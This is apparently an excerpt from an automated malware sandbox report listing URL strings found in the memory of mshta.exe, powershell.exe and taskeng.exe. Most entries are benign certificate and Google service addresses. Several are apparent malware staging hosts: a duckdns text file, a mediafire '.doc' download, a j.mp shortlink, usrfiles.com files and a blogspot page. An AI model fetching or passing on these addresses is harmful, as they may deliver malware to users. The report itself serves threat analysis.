Source: mshta.exe, 00000005.00000003.433362142.00000000004D1000.00000004.00000001.sdmp, mshta.exe, 00000005.00000002.436957033.00000000004D1000.00000004.00000020.sdmp, mshta.exe, 00000010.00000002.493848235.000000000035E000.00000004.00000020.sdmp, mshta.exe, 00000010.00000003.488138060.000000000035E000.00000004.00000001.sdmp String found in binary or memory: www.linkedin.com equals www.linkedin.com (Linkedin)
Source: mshta.exe, 00000005.00000002.437700955.000000000383F000.00000004.00000001.sdmp, mshta.exe, 00000010.00000003.492557387.0000000003D8A000.00000004.00000001.sdmp String found in binary or memory: www.login.yahoo.com0 equals www.yahoo.com (Yahoo)
Source: mshta.exe, 00000005.00000002.437700955.000000000383F000.00000004.00000001.sdmp, mshta.exe, 00000005.00000002.437672314.00000000037E1000.00000004.00000001.sdmp, mshta.exe, 00000005.00000002.437680248.00000000037EC000.00000004.00000001.sdmp, mshta.exe, 00000010.00000003.492557387.0000000003D8A000.00000004.00000001.sdmp, mshta.exe, 00000010.00000003.488183866.0000000000389000.00000004.00000001.sdmp, mshta.exe, 00000010.00000002.495504642.0000000003D6C000.00000004.00000001.sdmp String found in binary or memory: http://crl.comodoca.com/UTN-USERFirst-Hardware.crl06
Source: mshta.exe, 00000005.00000002.437700955.000000000383F000.00000004.00000001.sdmp, mshta.exe, 00000010.00000003.492557387.0000000003D8A000.00000004.00000001.sdmp String found in binary or memory: http://crl.entrust.net/2048ca.crl0
Source: mshta.exe, 00000005.00000002.437700955.000000000383F000.00000004.00000001.sdmp, mshta.exe, 00000010.00000003.492557387.0000000003D8A000.00000004.00000001.sdmp, mshta.exe, 00000010.00000002.495504642.0000000003D6C000.00000004.00000001.sdmp String found in binary or memory: http://crl.entrust.net/server1.crl0
Source: mshta.exe, 00000005.00000002.437700955.000000000383F000.00000004.00000001.sdmp, mshta.exe, 00000010.00000002.495547942.0000000003D97000.00000004.00000001.sdmp, mshta.exe, 00000010.00000003.492570581.0000000003D97000.00000004.00000001.sdmp String found in binary or memory: http://crl.globalsign.net/root-r2.crl0
Source: mshta.exe, 00000005.00000002.437700955.000000000383F000.00000004.00000001.sdmp, mshta.exe, 00000010.00000002.495504642.0000000003D6C000.00000004.00000001.sdmp String found in binary or memory: http://crl.pkioverheid.nl/DomOrganisatieLatestCRL-G2.crl0
Source: mshta.exe, 00000005.00000002.437700955.000000000383F000.00000004.00000001.sdmp, mshta.exe, 00000010.00000002.495504642.0000000003D6C000.00000004.00000001.sdmp String found in binary or memory: http://crl.pkioverheid.nl/DomOvLatestCRL.crl0
Source: mshta.exe, 00000010.00000003.486854556.0000000005457000.00000004.00000001.sdmp String found in binary or memory: http://csi.gstatic.com/csi
Source: mshta.exe, 00000005.00000002.437765263.0000000003BC0000.00000002.00020000.sdmp, mshta.exe, 00000010.00000002.495932436.00000000043B0000.00000002.00020000.sdmp String found in binary or memory: http://investor.msn.com
Source: mshta.exe, 00000005.00000002.437765263.0000000003BC0000.00000002.00020000.sdmp, mshta.exe, 00000010.00000002.495932436.00000000043B0000.00000002.00020000.sdmp String found in binary or memory: http://investor.msn.com/
Source: mshta.exe, 00000005.00000002.439235747.0000000003DA7000.00000002.00020000.sdmp String found in binary or memory: http://localizability/practices/XML.asp
Source: mshta.exe, 00000005.00000002.439235747.0000000003DA7000.00000002.00020000.sdmp String found in binary or memory: http://localizability/practices/XMLConfiguration.asp
Source: mshta.exe, 00000005.00000002.437700955.000000000383F000.00000004.00000001.sdmp, mshta.exe, 00000010.00000003.492557387.0000000003D8A000.00000004.00000001.sdmp, mshta.exe, 00000010.00000002.495504642.0000000003D6C000.00000004.00000001.sdmp String found in binary or memory: http://ocsp.comodoca.com0
Source: mshta.exe, 00000005.00000002.437680248.00000000037EC000.00000004.00000001.sdmp, mshta.exe, 00000010.00000003.488183866.0000000000389000.00000004.00000001.sdmp String found in binary or memory: http://ocsp.comodoca.com0%
Source: mshta.exe, 00000005.00000002.437700955.000000000383F000.00000004.00000001.sdmp, mshta.exe, 00000010.00000003.492557387.0000000003D8A000.00000004.00000001.sdmp String found in binary or memory: http://ocsp.comodoca.com0-
Source: mshta.exe, 00000005.00000002.437700955.000000000383F000.00000004.00000001.sdmp, mshta.exe, 00000010.00000003.492557387.0000000003D8A000.00000004.00000001.sdmp, mshta.exe, 00000010.00000002.495504642.0000000003D6C000.00000004.00000001.sdmp String found in binary or memory: http://ocsp.comodoca.com0/
Source: mshta.exe, 00000005.00000002.437672314.00000000037E1000.00000004.00000001.sdmp, mshta.exe, 00000010.00000002.495504642.0000000003D6C000.00000004.00000001.sdmp String found in binary or memory: http://ocsp.comodoca.com05
Source: mshta.exe, 00000005.00000002.437700955.000000000383F000.00000004.00000001.sdmp, mshta.exe, 00000010.00000003.492557387.0000000003D8A000.00000004.00000001.sdmp, mshta.exe, 00000010.00000002.495504642.0000000003D6C000.00000004.00000001.sdmp String found in binary or memory: http://ocsp.entrust.net03
Source: mshta.exe, 00000005.00000002.437700955.000000000383F000.00000004.00000001.sdmp, mshta.exe, 00000010.00000003.492557387.0000000003D8A000.00000004.00000001.sdmp String found in binary or memory: http://ocsp.entrust.net0D
Source: mshta.exe, 00000010.00000003.487448037.00000000053E2000.00000004.00000001.sdmp, mshta.exe, 00000010.00000002.498919199.00000000053E5000.00000004.00000001.sdmp String found in binary or memory: http://schema.org/Blog1
Source: mshta.exe, 00000010.00000003.449533147.0000000005473000.00000004.00000001.sdmp, mshta.exe, 00000010.00000003.488183866.0000000000389000.00000004.00000001.sdmp, mshta.exe, 00000010.00000003.487164802.0000000003DEB000.00000004.00000001.sdmp, mshta.exe, 00000010.00000002.499244493.00000000054BD000.00000004.00000001.sdmp, mshta.exe, 00000010.00000002.495769922.0000000003DEB000.00000004.00000001.sdmp, mshta.exe, 00000010.00000003.487148662.0000000003DE4000.00000004.00000001.sdmp, mshta.exe, 00000010.00000003.486923526.00000000054AA000.00000004.00000001.sdmp String found in binary or memory: http://schema.org/BlogPosting
Source: mshta.exe, 00000005.00000002.439824872.0000000003FA0000.00000002.00020000.sdmp, powershell.exe, 0000000B.00000002.444180770.0000000002380000.00000002.00020000.sdmp, taskeng.exe, 0000000F.00000002.671619483.0000000001B70000.00000002.00020000.sdmp String found in binary or memory: http://schemas.xmlsoap.org/ws/2004/08/addressing/role/anonymous.
Source: mshta.exe, 00000005.00000002.439235747.0000000003DA7000.00000002.00020000.sdmp String found in binary or memory: http://services.msn.com/svcs/oe/certpage.asp?name=%s&email=%s&&Check
Source: mshta.exe, 00000005.00000002.439235747.0000000003DA7000.00000002.00020000.sdmp String found in binary or memory: http://windowsmedia.com/redir/services.asp?WMPFriendly=true
Source: mshta.exe, 00000005.00000002.439824872.0000000003FA0000.00000002.00020000.sdmp, powershell.exe, 0000000B.00000002.444180770.0000000002380000.00000002.00020000.sdmp, taskeng.exe, 0000000F.00000002.671619483.0000000001B70000.00000002.00020000.sdmp String found in binary or memory: http://www.%s.comPA
Source: mshta.exe, 00000005.00000002.437700955.000000000383F000.00000004.00000001.sdmp, mshta.exe, 00000010.00000003.492557387.0000000003D8A000.00000004.00000001.sdmp String found in binary or memory: http://www.digicert.com.my/cps.htm02
Source: mshta.exe, 00000005.00000002.437700955.000000000383F000.00000004.00000001.sdmp, mshta.exe, 00000010.00000002.495504642.0000000003D6C000.00000004.00000001.sdmp String found in binary or memory: http://www.diginotar.nl/cps/pkioverheid0
Source: mshta.exe, 00000005.00000002.437765263.0000000003BC0000.00000002.00020000.sdmp, mshta.exe, 00000010.00000002.495932436.00000000043B0000.00000002.00020000.sdmp String found in binary or memory: http://www.hotmail.com/oe
Source: mshta.exe, 00000005.00000002.439235747.0000000003DA7000.00000002.00020000.sdmp String found in binary or memory: http://www.icra.org/vocabulary/.
Source: mshta.exe, 00000005.00000002.437765263.0000000003BC0000.00000002.00020000.sdmp, mshta.exe, 00000010.00000002.495932436.00000000043B0000.00000002.00020000.sdmp String found in binary or memory: http://www.msnbc.com/news/ticker.txt
Source: powershell.exe, 0000000B.00000002.443886088.00000000003CB000.00000004.00000020.sdmp, powershell.exe, 0000000B.00000002.443868279.00000000003AF000.00000004.00000020.sdmp, powershell.exe, 0000000B.00000002.443902222.00000000003E9000.00000004.00000020.sdmp String found in binary or memory: http://www.piriform.com/ccleaner
Source: powershell.exe, 0000000B.00000002.443886088.00000000003CB000.00000004.00000020.sdmp, powershell.exe, 0000000B.00000002.443868279.00000000003AF000.00000004.00000020.sdmp, powershell.exe, 0000000B.00000002.443902222.00000000003E9000.00000004.00000020.sdmp String found in binary or memory: http://www.piriform.com/ccleanerhttp://www.piriform.com/ccleanerv
Source: mshta.exe, 00000005.00000003.428490008.0000000000345000.00000004.00000001.sdmp, mshta.exe, 00000005.00000003.433047855.00000000047DA000.00000004.00000001.sdmp String found in binary or memory: http://www.starinxxxgkular.duckdns.org/s1/20.txt
Source: mshta.exe, 00000010.00000002.495932436.00000000043B0000.00000002.00020000.sdmp String found in binary or memory: http://www.windows.com/pctv.
Source: mshta.exe, 00000005.00000002.441090888.00000000047EC000.00000004.00000001.sdmp, mshta.exe, 00000005.00000003.433101978.00000000047E6000.00000004.00000001.sdmp, mshta.exe, 00000005.00000003.433047855.00000000047DA000.00000004.00000001.sdmp String found in binary or memory: https://8d3b91a-ea93-419b-b51b-0a69902759c5.usrfiles.com/ugd/8db3b9_91603714ac394
Source: powershell.exe, 0000000B.00000002.447284107.00000000034AB000.00000004.00000001.sdmp String found in binary or memory: https://8db3b91a-ea93-419b-b51b-0a69902759c5.usrfil
Source: powershell.exe, 0000000B.00000002.447284107.00000000034AB000.00000004.00000001.sdmp String found in binary or memory: https://8db3b91a-ea93-419b-b51b-0a69902759c5.usrfiles.c
Source: powershell.exe, 0000000B.00000002.447284107.00000000034AB000.00000004.00000001.sdmp String found in binary or memory: https://8db3b91a-ea93-419b-b51b-0a69902759c5.usrfiles.com/ug
Source: powershell.exe, 0000000B.00000002.447284107.00000000034AB000.00000004.00000001.sdmp String found in binary or memory: https://8db3b91a-ea93-419b-b51b-0a69902759c5.usrfiles.com/ugd/8d
Source: powershell.exe, 0000000B.00000002.447284107.00000000034AB000.00000004.00000001.sdmp String found in binary or memory: https://8db3b91a-ea93-419b-b51b-0a69902759c5.usrfiles.com/ugd/8db3
Source: powershell.exe, 0000000B.00000002.447284107.00000000034AB000.00000004.00000001.sdmp String found in binary or memory: https://8db3b91a-ea93-419b-b51b-0a69902759c5.usrfiles.com/ugd/8db3b9_4
Source: powershell.exe, 0000000B.00000002.447284107.00000000034AB000.00000004.00000001.sdmp, powershell.exe, 0000000B.00000002.443859929.000000000039E000.00000004.00000020.sdmp String found in binary or memory: https://8db3b91a-ea93-419b-b51b-0a69902759c5.usrfiles.com/ugd/8db3b9_408b52dd81ad428db256ba35835b2ee
Source: powershell.exe, 0000000B.00000002.447284107.00000000034AB000.00000004.00000001.sdmp String found in binary or memory: https://8db3b91a-ea93-419b-b51b-0a69902759c5.usrfiles.com/ugd/8db3b9_91603714ac3947ce8b64f4db8b2d0c0
Source: mshta.exe, 00000010.00000003.487534465.0000000005426000.00000004.00000001.sdmp, mshta.exe, 00000010.00000003.449679354.0000000005408000.00000004.00000001.sdmp, mshta.exe, 00000010.00000002.499135390.0000000005426000.00000004.00000001.sdmp, mshta.exe, 00000010.00000003.488249337.0000000005426000.00000004.00000001.sdmp String found in binary or memory: https://accounts.google.com/
Source: mshta.exe, 00000010.00000003.487534465.0000000005426000.00000004.00000001.sdmp, mshta.exe, 00000010.00000003.449679354.0000000005408000.00000004.00000001.sdmp, mshta.exe, 00000010.00000002.499135390.0000000005426000.00000004.00000001.sdmp, mshta.exe, 00000010.00000003.488249337.0000000005426000.00000004.00000001.sdmp String found in binary or memory: https://accounts.google.com/Francisco1
Source: mshta.exe, 00000010.00000003.487534465.0000000005426000.00000004.00000001.sdmp, mshta.exe, 00000010.00000003.449679354.0000000005408000.00000004.00000001.sdmp, mshta.exe, 00000010.00000003.487495574.00000000053FB000.00000004.00000001.sdmp, mshta.exe, 00000010.00000002.499135390.0000000005426000.00000004.00000001.sdmp, mshta.exe, 00000010.00000003.488249337.0000000005426000.00000004.00000001.sdmp, mshta.exe, 00000010.00000003.488262903.00000000053A3000.00000004.00000001.sdmp, mshta.exe, 00000010.00000003.487941757.00000000053C6000.00000004.00000001.sdmp, mshta.exe, 00000010.00000002.498840545.00000000053C7000.00000004.00000001.sdmp, mshta.exe, 00000010.00000003.492416018.00000000053FB000.00000004.00000001.sdmp, mshta.exe, 00000010.00000003.492260124.00000000053A4000.00000004.00000001.sdmp, mshta.exe, 00000010.00000003.487956672.000000000539F000.00000004.00000001.sdmp, mshta.exe, 00000010.00000002.499026945.00000000053FB000.00000004.00000001.sdmp String found in binary or memory: https://accounts.google.com/ServiceLogin?passive=true&continue=https://www.blogger.com/blogin.g?blog
Source: mshta.exe, 00000010.00000002.499339707.0000000005524000.00000004.00000001.sdmp String found in binary or memory: https://accounts.google.com/ServiceLogin?service=blogger&continue=https://www.blogger.com/blogge
Source: mshta.exe, 00000010.00000003.487534465.0000000005426000.00000004.00000001.sdmp, mshta.exe, 00000010.00000003.449679354.0000000005408000.00000004.00000001.sdmp, mshta.exe, 00000010.00000002.499135390.0000000005426000.00000004.00000001.sdmp, mshta.exe, 00000010.00000003.488249337.0000000005426000.00000004.00000001.sdmp String found in binary or memory: https://accounts.google.com/U
Source: mshta.exe, 00000010.00000003.487534465.0000000005426000.00000004.00000001.sdmp, mshta.exe, 00000010.00000003.449679354.0000000005408000.00000004.00000001.sdmp, mshta.exe, 00000010.00000002.499135390.0000000005426000.00000004.00000001.sdmp, mshta.exe, 00000010.00000003.488249337.0000000005426000.00000004.00000001.sdmp String found in binary or memory: https://accounts.google.com/urity
Source: mshta.exe, 00000010.00000002.499339707.0000000005524000.00000004.00000001.sdmp String found in binary or memory: https://ads.google.com/home/?subid=ww-ww-et-g-aw-a-vasquette_ads_cons_1
Source: mshta.exe, 00000010.00000002.499339707.0000000005524000.00000004.00000001.sdmp String found in binary or memory: https://apis.google.com
Source: mshta.exe, 00000010.00000003.486923526.00000000054AA000.00000004.00000001.sdmp String found in binary or memory: https://apis.google.com/js/plusone.js
Source: mshta.exe, 00000010.00000002.499339707.0000000005524000.00000004.00000001.sdmp String found in binary or memory: https://artsandculture.google.com/?hl=de&utm_source=ogs.google.com&utm_medium=referral
Source: mshta.exe, 00000010.00000002.499339707.0000000005524000.00000004.00000001.sdmp String found in binary or memory: https://books.google.co.uk/?hl=de&tab=jp
Source: mshta.exe, 00000010.00000002.499339707.0000000005524000.00000004.00000001.sdmp String found in binary or memory: https://calendar.google.com/calendar?tab=jc
Source: mshta.exe, 00000010.00000003.486854556.0000000005457000.00000004.00000001.sdmp String found in binary or memory: https://csi.gstatic.com/csi
Source: mshta.exe, 00000010.00000003.487458997.00000000053EB000.00000004.00000001.sdmp, mshta.exe, 00000010.00000003.492363560.00000000053EA000.00000004.00000001.sdmp, mshta.exe, 00000010.00000002.499320150.00000000054DC000.00000004.00000001.sdmp, mshta.exe, 00000010.00000003.488262903.00000000053A3000.00000004.00000001.sdmp, mshta.exe, 00000010.00000003.492032441.00000000054D8000.00000004.00000001.sdmp, mshta.exe, 00000010.00000002.493629519.00000000002FE000.00000004.00000020.sdmp, mshta.exe, 00000010.00000003.487054353.00000000054CE000.00000004.00000001.sdmp, mshta.exe, 00000010.00000003.492260124.00000000053A4000.00000004.00000001.sdmp, mshta.exe, 00000010.00000003.487956672.000000000539F000.00000004.00000001.sdmp, mshta.exe, 00000010.00000003.486923526.00000000054AA000.00000004.00000001.sdmp String found in binary or memory: https://csp.withgoogle.com/csp/report-to/blogger-tech
Source: mshta.exe, 00000010.00000002.499339707.0000000005524000.00000004.00000001.sdmp String found in binary or memory: https://docs.google.com/document/?usp=docs_alc
Source: mshta.exe, 00000010.00000002.499339707.0000000005524000.00000004.00000001.sdmp String found in binary or memory: https://docs.google.com/forms/?usp=forms_alc
Source: mshta.exe, 00000010.00000002.499339707.0000000005524000.00000004.00000001.sdmp String found in binary or memory: https://docs.google.com/presentation/?usp=slides_alc
Source: mshta.exe, 00000010.00000002.499339707.0000000005524000.00000004.00000001.sdmp String found in binary or memory: https://docs.google.com/spreadsheets/?usp=sheets_alc
Source: mshta.exe, 00000005.00000002.440942165.00000000047B0000.00000004.00000001.sdmp String found in binary or memory: https://download2347.mediafire.com/
Source: mshta.exe, 00000005.00000002.436957033.00000000004D1000.00000004.00000020.sdmp String found in binary or memory: https://download2347.mediafire.com/7zyqtjrto6xg/95ggilwnqccbq6l/20.doc
Source: mshta.exe, 00000005.00000003.433362142.00000000004D1000.00000004.00000001.sdmp, mshta.exe, 00000005.00000002.436957033.00000000004D1000.00000004.00000020.sdmp String found in binary or memory: https://download2347.mediafire.com/7zyqtjrto6xg/95ggilwnqccbq6l/20.doc...
Source: mshta.exe, 00000005.00000003.433362142.00000000004D1000.00000004.00000001.sdmp, mshta.exe, 00000005.00000002.436957033.00000000004D1000.00000004.00000020.sdmp String found in binary or memory: https://download2347.mediafire.com/7zyqtjrto6xg/95ggilwnqccbq6l/20.doc...hL
Source: mshta.exe, 00000005.00000002.437672314.00000000037E1000.00000004.00000001.sdmp String found in binary or memory: https://download2347.mediafire.com/7zyqtjrto6xg/95ggilwnqccbq6l/20.doc3
Source: mshta.exe, 00000005.00000003.433394302.000000000050B000.00000004.00000001.sdmp, mshta.exe, 00000005.00000002.437104895.000000000050C000.00000004.00000020.sdmp String found in binary or memory: https://download2347.mediafire.com/7zyqtjrto6xg/95ggilwnqccbq6l/20.docC:
Source: mshta.exe, 00000005.00000002.437672314.00000000037E1000.00000004.00000001.sdmp String found in binary or memory: https://download2347.mediafire.com/7zyqtjrto6xg/95ggilwnqccbq6l/20.docO
Source: mshta.exe, 00000005.00000003.432784092.0000000002485000.00000004.00000001.sdmp, mshta.exe, 00000005.00000003.432725982.0000000002485000.00000004.00000001.sdmp String found in binary or memory: https://download2347.mediafire.com/7zyqtjrto6xg/95ggilwnqccbq6l/20.dochttps://download2347.mediafire
Source: mshta.exe, 00000005.00000002.440942165.00000000047B0000.00000004.00000001.sdmp String found in binary or memory: https://download2347.mediafire.com/j
Source: mshta.exe, 00000010.00000002.499339707.0000000005524000.00000004.00000001.sdmp String found in binary or memory: https://drive.google.com/?tab=jo
Source: mshta.exe, 00000010.00000002.499339707.0000000005524000.00000004.00000001.sdmp String found in binary or memory: https://duo.google.com/?usp=duo_ald
Source: mshta.exe, 00000010.00000002.499339707.0000000005524000.00000004.00000001.sdmp String found in binary or memory: https://earth.google.com/web/
Source: mshta.exe, 00000010.00000003.487534465.0000000005426000.00000004.00000001.sdmp, mshta.exe, 00000010.00000002.499135390.0000000005426000.00000004.00000001.sdmp, mshta.exe, 00000010.00000003.488249337.0000000005426000.00000004.00000001.sdmp String found in binary or memory: https://fonts.googleapis.com/
Source: mshta.exe, 00000010.00000003.487534465.0000000005426000.00000004.00000001.sdmp, mshta.exe, 00000010.00000002.499135390.0000000005426000.00000004.00000001.sdmp, mshta.exe, 00000010.00000003.488249337.0000000005426000.00000004.00000001.sdmp String found in binary or memory: https://fonts.googleapis.com/1.1
Source: mshta.exe, 00000010.00000003.487534465.0000000005426000.00000004.00000001.sdmp, mshta.exe, 00000010.00000002.499135390.0000000005426000.00000004.00000001.sdmp, mshta.exe, 00000010.00000003.488249337.0000000005426000.00000004.00000001.sdmp String found in binary or memory: https://fonts.googleapis.com/C
Source: mshta.exe, 00000010.00000002.499026945.00000000053FB000.00000004.00000001.sdmp String found in binary or memory: https://fonts.googleapis.com/css?family=Open
Source: mshta.exe, 00000010.00000003.492363560.00000000053EA000.00000004.00000001.sdmp, mshta.exe, 00000010.00000003.492111127.000000000554F000.00000004.00000001.sdmp, mshta.exe, 00000010.00000002.499301261.00000000054CC000.00000004.00000001.sdmp, mshta.exe, 00000010.00000002.499611362.0000000007C50000.00000004.00000001.sdmp, mshta.exe, 00000010.00000003.487896076.00000000054CB000.00000004.00000001.sdmp String found in binary or memory: https://fonts.googleapis.com/css?lang=de&family=Product
Source: mshta.exe, 00000010.00000003.487534465.0000000005426000.00000004.00000001.sdmp, mshta.exe, 00000010.00000002.499135390.0000000005426000.00000004.00000001.sdmp, mshta.exe, 00000010.00000003.488249337.0000000005426000.00000004.00000001.sdmp String found in binary or memory: https://fonts.googleapis.com/px
Source: mshta.exe, 00000010.00000002.499339707.0000000005524000.00000004.00000001.sdmp String found in binary or memory: https://hangouts.google.com/
Source: mshta.exe, 00000010.00000003.487458997.00000000053EB000.00000004.00000001.sdmp, mshta.exe, 00000010.00000003.492363560.00000000053EA000.00000004.00000001.sdmp String found in binary or memory: https://i18n-cloud.appspot.com
Source: mshta.exe, 00000005.00000002.436838254.000000000045E000.00000004.00000020.sdmp, mshta.exe, 00000005.00000003.433362142.00000000004D1000.00000004.00000001.sdmp, mshta.exe, 00000005.00000002.436952211.00000000004C5000.00000004.00000020.sdmp, mshta.exe, 00000005.00000002.436957033.00000000004D1000.00000004.00000020.sdmp, mshta.exe, 00000005.00000003.433357835.00000000004C5000.00000004.00000001.sdmp String found in binary or memory: https://j.mp/ODOASODOchjdjdsfdrueruebdgbjd
Source: mshta.exe, 00000005.00000002.437700955.000000000383F000.00000004.00000001.sdmp, mshta.exe, 00000005.00000002.440942165.00000000047B0000.00000004.00000001.sdmp String found in binary or memory: https://j.mp/com
Source: mshta.exe, 00000010.00000002.499339707.0000000005524000.00000004.00000001.sdmp String found in binary or memory: https://jamboard.google.com/?usp=jam_ald
Source: mshta.exe, 00000010.00000002.495606399.0000000003DB5000.00000004.00000001.sdmp, mshta.exe, 00000010.00000003.492607365.0000000003DB5000.00000004.00000001.sdmp String found in binary or memory: https://kdaoskdokaodkwldld.blogsp.p
Source: mshta.exe, 00000010.00000003.486923526.00000000054AA000.00000004.00000001.sdmp String found in binary or memory: https://kdaoskdokaodkwldld.blogspot.com/
Source: mshta.exe, 00000010.00000002.493952898.00000000003B4000.00000004.00000020.sdmp, mshta.exe, 00000010.00000003.488220477.00000000003B4000.00000004.00000001.sdmp String found in binary or memory: https://kdaoskdokaodkwldld.blogspot.com/:
Source: mshta.exe, 00000010.00000003.487534465.0000000005426000.00000004.00000001.sdmp, mshta.exe, 00000010.00000003.488249337.0000000005426000.00000004.00000001.sdmp String found in binary or memory: https://kdaoskdokaodkwldld.blogspot.com/;
Source: mshta.exe, 00000010.00000003.486587992.0000000003975000.00000004.00000001.sdmp, mshta.exe, 00000010.00000003.492246899.00000000053A0000.00000004.00000001.sdmp, mshta.exe, 00000010.00000002.499573196.00000000059DF000.00000004.00000001.sdmp, mshta.exe, 00000010.00000003.492321791.0000000003DD4000.00000004.00000001.sdmp, mshta.exe, 00000010.00000002.499598235.0000000005A21000.00000004.00000001.sdmp, mshta.exe, 00000010.00000003.487054353.00000000054CE000.00000004.00000001.sdmp, mshta.exe, 00000010.00000003.486407027.000000000396D000.00000004.00000001.sdmp, mshta.exe, 00000010.00000003.487956672.000000000539F000.00000004.00000001.sdmp, mshta.exe, 00000010.00000003.486923526.00000000054AA000.00000004.00000001.sdmp String found in binary or memory: https://kdaoskdokaodkwldld.blogspot.com/favicon.ico
Source: mshta.exe, 00000010.00000003.477002974.0000000005A26000.00000004.00000001.sdmp String found in binary or memory: https://kdaoskdokaodkwldld.blogspot.com/feeds/post
Source: mshta.exe, 00000010.00000003.486923526.00000000054AA000.00000004.00000001.sdmp String found in binary or memory: https://kdaoskdokaodkwldld.blogspot.com/feeds/posts/default
Source: mshta.exe, 00000010.00000003.487495574.00000000053FB000.00000004.00000001.sdmp, mshta.exe, 00000010.00000003.492416018.00000000053FB000.00000004.00000001.sdmp, mshta.exe, 00000010.00000002.499026945.00000000053FB000.00000004.00000001.sdmp String found in binary or memory: https://kdaoskdokaodkwldld.blogspot.com/feeds/posts/default#l
Source: mshta.exe, 00000010.00000003.487495574.00000000053FB000.00000004.00000001.sdmp, mshta.exe, 00000010.00000003.492416018.00000000053FB000.00000004.00000001.sdmp, mshta.exe, 00000010.00000002.499026945.00000000053FB000.00000004.00000001.sdmp String found in binary or memory: https://kdaoskdokaodkwldld.blogspot.com/feeds/posts/default;l
Source: mshta.exe, 00000010.00000003.486923526.00000000054AA000.00000004.00000001.sdmp String found in binary or memory: https://kdaoskdokaodkwldld.blogspot.com/feeds/posts/default?alt
Source: mshta.exe, 00000010.00000003.480825213.00000000031CC000.00000004.00000001.sdmp, mshta.exe, 00000010.00000003.482406436.00000000031D2000.00000004.00000001.sdmp, mshta.exe, 00000010.00000003.483443225.00000000031DB000.00000004.00000001.sdmp, mshta.exe, 00000010.00000003.477560747.00000000031C5000.00000004.00000001.sdmp, mshta.exe, 00000010.00000002.499573196.00000000059DF000.00000004.00000001.sdmp, mshta.exe, 00000010.00000003.480117969.00000000031C9000.00000004.00000001.sdmp, mshta.exe, 00000010.00000003.482159888.00000000031D1000.00000004.00000001.sdmp, mshta.exe, 00000010.00000003.481578062.00000000031CF000.00000004.00000001.sdmp, mshta.exe, 00000010.00000003.479303434.00000000031C7000.00000004.00000001.sdmp, mshta.exe, 00000010.00000003.492321791.0000000003DD4000.00000004.00000001.sdmp, mshta.exe, 00000010.00000003.482886004.00000000031D5000.00000004.00000001.sdmp, mshta.exe, 00000010.00000003.477002974.0000000005A26000.00000004.00000001.sdmp, mshta.exe, 00000010.00000003.478912249.00000000031C6000.00000004.00000001.sdmp, mshta.exe, 00000010.00000003.486364364.00000000031DC000.00000004.00000001.sdmp, mshta.exe, 00000010.00000003.483356824.00000000031D9000.00000004.00000001.sdmp, mshta.exe, 00000010.00000003.479707755.00000000031C8000.00000004.00000001.sdmp String found in binary or memory: https://kdaoskdokaodkwldld.blogspot.com/feeds/posts/default?alt=rss
Source: mshta.exe, 00000010.00000003.487495574.00000000053FB000.00000004.00000001.sdmp String found in binary or memory: https://kdaoskdokaodkwldld.blogspot.com/feeds/posts/defaultCl
Source: mshta.exe, 00000010.00000003.487534465.0000000005426000.00000004.00000001.sdmp, mshta.exe, 00000010.00000002.499192744.000000000544D000.00000004.00000001.sdmp, mshta.exe, 00000010.00000003.492008554.000000000543C000.00000004.00000001.sdmp, mshta.exe, 00000010.00000003.487838982.0000000005436000.00000004.00000001.sdmp String found in binary or memory: https://kdaoskdokaodkwldld.blogspot.com/feeds/posts/defaultO
Source: mshta.exe, 00000010.00000003.488262903.00000000053A3000.00000004.00000001.sdmp, mshta.exe, 00000010.00000003.492260124.00000000053A4000.00000004.00000001.sdmp, mshta.exe, 00000010.00000003.487956672.000000000539F000.00000004.00000001.sdmp String found in binary or memory: https://kdaoskdokaodkwldld.blogspot.com/p/
Source: mshta.exe, 00000010.00000003.486923526.00000000054AA000.00000004.00000001.sdmp String found in binary or memory: https://kdaoskdokaodkwldld.blogspot.com/p/20.html
Source: mshta.exe, 00000010.00000003.487495574.00000000053FB000.00000004.00000001.sdmp, mshta.exe, 00000010.00000003.488183866.0000000000389000.00000004.00000001.sdmp, mshta.exe, 00000010.00000003.492416018.00000000053FB000.00000004.00000001.sdmp, mshta.exe, 00000010.00000002.499026945.00000000053FB000.00000004.00000001.sdmp String found in binary or memory: https://kdaoskdokaodkwldld.blogspot.com/p/20.html&type=blog
Source: mshta.exe, 00000010.00000002.498749431.0000000005388000.00000004.00000001.sdmp, mshta.exe, 00000010.00000003.492299410.0000000005388000.00000004.00000001.sdmp String found in binary or memory: https://kdaoskdokaodkwldld.blogspot.com/p/20.html&type=blog)Q
Source: mshta.exe, 00000010.00000003.488183866.0000000000389000.00000004.00000001.sdmp String found in binary or memory: https://kdaoskdokaodkwldld.blogspot.com/p/20.html&type=blogIZ~9
Source: mshta.exe, 00000010.00000003.487495574.00000000053FB000.00000004.00000001.sdmp, mshta.exe, 00000010.00000003.492416018.00000000053FB000.00000004.00000001.sdmp, mshta.exe, 00000010.00000002.499026945.00000000053FB000.00000004.00000001.sdmp String found in binary or memory: https://kdaoskdokaodkwldld.blogspot.com/p/20.html&type=blogpot.com
Source: mshta.exe, 00000010.00000003.488046942.000000000032E000.00000004.00000001.sdmp, mshta.exe, 00000010.00000002.493952898.00000000003B4000.00000004.00000020.sdmp, mshta.exe, 00000010.00000003.488220477.00000000003B4000.00000004.00000001.sdmp, mshta.exe, 00000010.00000002.493723022.000000000032E000.00000004.00000020.sdmp String found in binary or memory: https://kdaoskdokaodkwldld.blogspot.com/p/20.html...
Source: mshta.exe, 00000010.00000002.493848235.000000000035E000.00000004.00000020.sdmp, mshta.exe, 00000010.00000003.488138060.000000000035E000.00000004.00000001.sdmp String found in binary or memory: https://kdaoskdokaodkwldld.blogspot.com/p/20.html3
Source: mshta.exe, 00000010.00000002.493629519.00000000002FE000.00000004.00000020.sdmp String found in binary or memory: https://kdaoskdokaodkwldld.blogspot.com/p/20.htmlf5
